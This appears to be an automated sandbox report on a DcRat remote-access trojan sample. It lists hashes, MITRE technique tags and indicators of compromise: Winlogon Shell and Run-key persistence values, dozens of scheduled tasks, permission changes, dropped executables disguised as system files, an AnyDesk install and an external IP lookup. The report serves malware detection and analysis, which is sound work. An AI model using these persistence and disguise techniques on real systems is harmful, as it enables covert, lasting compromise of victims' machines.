dcrat | 28ebd60f492ca0957ac7ab3fdbcd8262966dee60dbec71d6bcac8d7efaf65479

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
12-01-2023 13:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

migrate.120.exe
Size

15.7MB
MD5

b27e540aef37c99f3cfd2766c2e61784
SHA1

c516b74daec17d1bc788c54433cf10899ee07e92
SHA256

28ebd60f492ca0957ac7ab3fdbcd8262966dee60dbec71d6bcac8d7efaf65479
SHA512

641d5daaef91d535f279ce7fea1f7c8b50ba87040480602e51951dfc2f3345699d3161d38b1b2ab7b3d4fbbcc56e0d597f125ed65ea3971df4888cb4a63897cd
SSDEEP

393216:XhBqJ0CE8/eXkkM7cGGBNpuXU8ysXVqNIyc2KBcr27eEHTPX:RBe0CiMihuXU8yYqNIygdrX

Score

10^/10

dcrat discovery exploit infostealer persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ipinfo.io/ip

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Modifies WinLogon for persistence 2 TTPs 12 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Users\\Public\\Downloads\\sppsvc.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Users\\Public\\Downloads\\sppsvc.exe\", \"C:\\Program Files\\Windows NT\\taskhostw.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Users\\Public\\Downloads\\sppsvc.exe\", \"C:\\Program Files\\Windows NT\\taskhostw.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\it-IT\\upfc.exe\", \"C:\\Users\\Default\\Recent\\Idle.exe\", \"C:\\runtimeMonitor\\wininit.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Users\\Public\\Downloads\\sppsvc.exe\", \"C:\\Program Files\\Windows NT\\taskhostw.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\it-IT\\upfc.exe\", \"C:\\Users\\Default\\Recent\\Idle.exe\", \"C:\\runtimeMonitor\\wininit.exe\", \"C:\\Recovery\\WindowsRE\\wsappz.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\runtimeMonitor\\cmd.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Users\\Public\\Downloads\\sppsvc.exe\", \"C:\\Program Files\\Windows NT\\taskhostw.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\it-IT\\upfc.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Users\\Public\\Downloads\\sppsvc.exe\", \"C:\\Program Files\\Windows NT\\taskhostw.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\it-IT\\upfc.exe\", \"C:\\Users\\Default\\Recent\\Idle.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Users\\Public\\Downloads\\sppsvc.exe\", \"C:\\Program Files\\Windows NT\\taskhostw.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\it-IT\\upfc.exe\", \"C:\\Users\\Default\\Recent\\Idle.exe\", \"C:\\runtimeMonitor\\wininit.exe\", \"C:\\Recovery\\WindowsRE\\wsappz.exe\", \"C:\\odt\\powershell.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Users\\Public\\Downloads\\sppsvc.exe\", \"C:\\Program Files\\Windows NT\\taskhostw.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\it-IT\\upfc.exe\", \"C:\\Users\\Default\\Recent\\Idle.exe\", \"C:\\runtimeMonitor\\wininit.exe\", \"C:\\Recovery\\WindowsRE\\wsappz.exe\", \"C:\\odt\\powershell.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Users\\Public\\Downloads\\sppsvc.exe\", \"C:\\Program Files\\Windows NT\\taskhostw.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\it-IT\\upfc.exe\", \"C:\\Users\\Default\\Recent\\Idle.exe\", \"C:\\runtimeMonitor\\wininit.exe\", \"C:\\Recovery\\WindowsRE\\wsappz.exe\", \"C:\\odt\\powershell.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Windows\\Offline Web Pages\\cmd.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Users\\Public\\Downloads\\sppsvc.exe\", \"C:\\Program Files\\Windows NT\\taskhostw.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\it-IT\\upfc.exe\", \"C:\\Users\\Default\\Recent\\Idle.exe\", \"C:\\runtimeMonitor\\wininit.exe\", \"C:\\Recovery\\WindowsRE\\wsappz.exe\", \"C:\\odt\\powershell.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Windows\\Offline Web Pages\\cmd.exe\", \"C:\\runtimeMonitor\\sihost.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\runtimeMonitor\\cmd.exe\", \"C:\\Users\\Public\\Downloads\\sppsvc.exe\", \"C:\\Program Files\\Windows NT\\taskhostw.exe\", \"C:\\Program Files (x86)\\Internet Explorer\\it-IT\\upfc.exe\", \"C:\\Users\\Default\\Recent\\Idle.exe\", \"C:\\runtimeMonitor\\wininit.exe\", \"C:\\Recovery\\WindowsRE\\wsappz.exe\", \"C:\\odt\\powershell.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Windows\\Offline Web Pages\\cmd.exe\", \"C:\\runtimeMonitor\\sihost.exe\", \"C:\\Program Files\\Common Files\\System\\Idle.exe\""

Process spawned unexpected child process 36 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3144	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3840	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2200	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4848	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4432	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4264	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2244	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	684	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1736	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1836	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3396	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4592	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3364	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	548	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4688	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4448	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4652	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3556	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4664	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4932	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2328	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1712	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3208	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1036	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	832	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4492	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3464	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	620	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3000	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3340	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2268	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4116	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4144	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2128	4640	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2680	4640	schtasks.exe

DCRat payload 7 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

Processes:

resource	yara_rule
C:\programdata\dc.exe	dcrat
C:\ProgramData\dc.exe	dcrat
C:\runtimeMonitor\ComdriverSvc.exe	dcrat
C:\runtimeMonitor\ComdriverSvc.exe	dcrat
behavioral2/memory/3920-194-0x0000000000560000-0x000000000066C000-memory.dmp	dcrat
C:\Program Files\Common Files\System\Idle.exe	dcrat
C:\Program Files\Common Files\System\Idle.exe	dcrat

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

98 4868 powershell.exe

flow	pid	process
98	4868	powershell.exe

Executes dropped EXE 22 IoCs

Processes:

1.exeany.exedc.exewsappz.exeComdriverSvc.exeAnyDesk.exeAnyDesk.exeIdle.exeAnyDesk.exeAnyDesk.exemigrate.exeWmiic.execurl.exeWmiic.exeWmiic.exeIntelConfigService.exeWrap.exeApplicationsFrameHost.exeSuperfetch.exeMSTask.exe~Ma4650.execurl.exe

pid	process
4692	1.exe
4068	any.exe
4296	dc.exe
2924	wsappz.exe
3920	ComdriverSvc.exe
4752	AnyDesk.exe
224	AnyDesk.exe
3180	Idle.exe
6104	AnyDesk.exe
5520	AnyDesk.exe
5076	migrate.exe
760	Wmiic.exe
5668	curl.exe
4732	Wmiic.exe
272	Wmiic.exe
5756	IntelConfigService.exe
6060	Wrap.exe
2308	ApplicationsFrameHost.exe
6108	Superfetch.exe
5636	MSTask.exe
5376	~Ma4650.exe
4228	curl.exe

Possible privilege escalation attempt 11 IoCs

exploit

Processes:

icacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid	process
6140	icacls.exe
5160	icacls.exe
3520	takeown.exe
4204	icacls.exe
4248	icacls.exe
2008	icacls.exe
6136	icacls.exe
2736	icacls.exe
4704	icacls.exe
3996	icacls.exe
3512	icacls.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

any.exeWScript.exemigrate.exemigrate.120.exedc.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	any.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	migrate.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	migrate.120.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	dc.exe

Loads dropped DLL 3 IoCs

Processes:

~Ma4650.exe

pid process

5376 ~Ma4650.exe
5376 ~Ma4650.exe
5376 ~Ma4650.exe

pid	process
5376	~Ma4650.exe
5376	~Ma4650.exe
5376	~Ma4650.exe

Modifies file permissions 1 TTPs 11 IoCs

discovery

File Permissions Modification

T1222

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exe

pid	process
4204	icacls.exe
3996	icacls.exe
2008	icacls.exe
6140	icacls.exe
3512	icacls.exe
6136	icacls.exe
5160	icacls.exe
3520	takeown.exe
2736	icacls.exe
4704	icacls.exe
4248	icacls.exe

Adds Run key to start application 2 TTPs 24 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\taskhostw = "\"C:\\Program Files\\Windows NT\\taskhostw.exe\""
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\upfc = "\"C:\\Program Files (x86)\\Internet Explorer\\it-IT\\upfc.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\upfc = "\"C:\\Program Files (x86)\\Internet Explorer\\it-IT\\upfc.exe\""
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Idle = "\"C:\\Users\\Default\\Recent\\Idle.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Idle = "\"C:\\Users\\Default\\Recent\\Idle.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\powershell = "\"C:\\odt\\powershell.exe\""
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sppsvc = "\"C:\\Users\\Public\\Downloads\\sppsvc.exe\""
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sihost = "\"C:\\runtimeMonitor\\sihost.exe\""
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Windows\\Offline Web Pages\\cmd.exe\""
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sppsvc = "\"C:\\Users\\Public\\Downloads\\sppsvc.exe\""
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\powershell = "\"C:\\odt\\powershell.exe\""
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Idle = "\"C:\\Program Files\\Common Files\\System\\Idle.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\runtimeMonitor\\cmd.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\taskhostw = "\"C:\\Program Files\\Windows NT\\taskhostw.exe\""
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wininit = "\"C:\\runtimeMonitor\\wininit.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wininit = "\"C:\\runtimeMonitor\\wininit.exe\""
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wsappz = "\"C:\\Recovery\\WindowsRE\\wsappz.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Idle = "\"C:\\Program Files\\Common Files\\System\\Idle.exe\""
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\runtimeMonitor\\cmd.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Windows\\Offline Web Pages\\cmd.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sihost = "\"C:\\runtimeMonitor\\sihost.exe\""
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wsappz = "\"C:\\Recovery\\WindowsRE\\wsappz.exe\""

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

97 ipinfo.io
98 ipinfo.io

flow	ioc
97	ipinfo.io
98	ipinfo.io

Drops file in Program Files directory 6 IoCs

Processes:

description	ioc	process
File created	C:\Program Files\Common Files\System\6ccacd8608530f
File created	C:\Program Files\Windows NT\taskhostw.exe
File created	C:\Program Files\Windows NT\ea9f0e6c9e2dcd
File created	C:\Program Files (x86)\Internet Explorer\it-IT\upfc.exe
File created	C:\Program Files (x86)\Internet Explorer\it-IT\ea1d8f6d871115
File created	C:\Program Files\Common Files\System\Idle.exe

Drops file in Windows directory 26 IoCs

Processes:

cmd.exemigrate.execmd.exeIntelConfigService.exeApplicationsFrameHost.exe

description	ioc	process
File opened for modification	C:\Windows\curl.exe	cmd.exe
File created	C:\Windows\Tasks\config.json	migrate.exe
File created	C:\Windows\Tasks\IntelConfigService.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\WinRing0x64.sys	migrate.exe
File created	C:\Windows\Tasks\ApplicationsFrameHost.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\ApplicationsFrameHost.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\Superfetch.exe	migrate.exe
File created	C:\Windows\Offline Web Pages\cmd.exe
File created	C:\Windows\Offline Web Pages\ebf1f9fa8afd6d
File created	C:\Windows\Tasks\run.bat	migrate.exe
File opened for modification	C:\Windows\Tasks\run.bat	migrate.exe
File created	C:\Windows\Tasks\Superfetch.exe	migrate.exe
File created	C:\Windows\Tasks\MSTask.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\MSTask.exe	migrate.exe
File created	C:\Windows\Tasks\WinRing0x64.sys	migrate.exe
File created	C:\Windows\curl.exe	cmd.exe
File opened for modification	C:\Windows\curl.exe	cmd.exe
File created	C:\Windows\Tasks\__tmp_rar_sfx_access_check_240618703	migrate.exe
File opened for modification	C:\Windows\Tasks\config.json	migrate.exe
File opened for modification	C:\Windows\Tasks\IntelConfigService.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\Wmiic.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\Wrap.exe	migrate.exe
File created	C:\Windows\Tasks\Wmiic.exe	migrate.exe
File created	C:\Windows\Tasks\Wrap.exe	migrate.exe
File opened for modification	C:\Windows\Tasks	IntelConfigService.exe
File opened for modification	C:\Windows\Tasks\config.json	ApplicationsFrameHost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 36 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

pid	process
4664	schtasks.exe
4116	schtasks.exe
3556	schtasks.exe
1712	schtasks.exe
4492	schtasks.exe
3840	schtasks.exe
4264	schtasks.exe
3340	schtasks.exe
2328	schtasks.exe
1036	schtasks.exe
548	schtasks.exe
4932	schtasks.exe
3208	schtasks.exe
3464	schtasks.exe
620	schtasks.exe
3000	schtasks.exe
2200	schtasks.exe
1836	schtasks.exe
4144	schtasks.exe
3364	schtasks.exe
4448	schtasks.exe
4652	schtasks.exe
3396	schtasks.exe
4592	schtasks.exe
2244	schtasks.exe
2680	schtasks.exe
4688	schtasks.exe
2128	schtasks.exe
4432	schtasks.exe
684	schtasks.exe
1736	schtasks.exe
832	schtasks.exe
8	schtasks.exe
2268	schtasks.exe
3144	schtasks.exe
4848	schtasks.exe

Delays execution with timeout.exe 11 IoCs

evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exe

pid	process
3632	timeout.exe
1060	timeout.exe
5128	timeout.exe
4828	timeout.exe
3136	timeout.exe
2916	timeout.exe
2664	timeout.exe
2136	timeout.exe
2912	timeout.exe
60	timeout.exe
400	timeout.exe

Enumerates processes with tasklist 1 TTPs 3 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exe

pid process

636 tasklist.exe
1296 tasklist.exe
876 tasklist.exe
Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

3236 taskkill.exe
936 taskkill.exe

pid	process
636	tasklist.exe
1296	tasklist.exe
876	tasklist.exe

pid	process
3236	taskkill.exe
936	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

Processes:

~Ma4650.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION	~Ma4650.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\MacroWebExplorer.exe = "11001"	~Ma4650.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION	~Ma4650.exe

Modifies data under HKEY_USERS 21 IoCs

Processes:

~Ma4650.exeMSTask.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Internet Explorer\MAIN	~Ma4650.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\MacroWebExplorer.exe = "11001"	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node\Microsoft	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node\Microsoft\Internet Explorer	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node\Microsoft\Internet Explorer\MAIN	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Internet Explorer\Main\FeatureControl	~Ma4650.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MSTask.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MSTask.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MSTask.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl	~Ma4650.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\MacroWebExplorer.exe = "11001"	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MSTask.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE	~Ma4650.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MSTask.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Internet Explorer	~Ma4650.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	~Ma4650.exe

Modifies registry class 17 IoCs

Processes:

wsappz.exedc.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\ = "URL:AnyDesk Protocol"	wsappz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell\open\command\ = "\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" \"%1\""	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\DefaultIcon	wsappz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\DefaultIcon\ = "\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\",0"	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk	wsappz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\DefaultIcon\ = "AnyDesk.exe,0"	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell\open	wsappz.exe
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\Local Settings	dc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell\open	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell\open\command	wsappz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell\open\command\ = "\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" --play \"%1\""	wsappz.exe
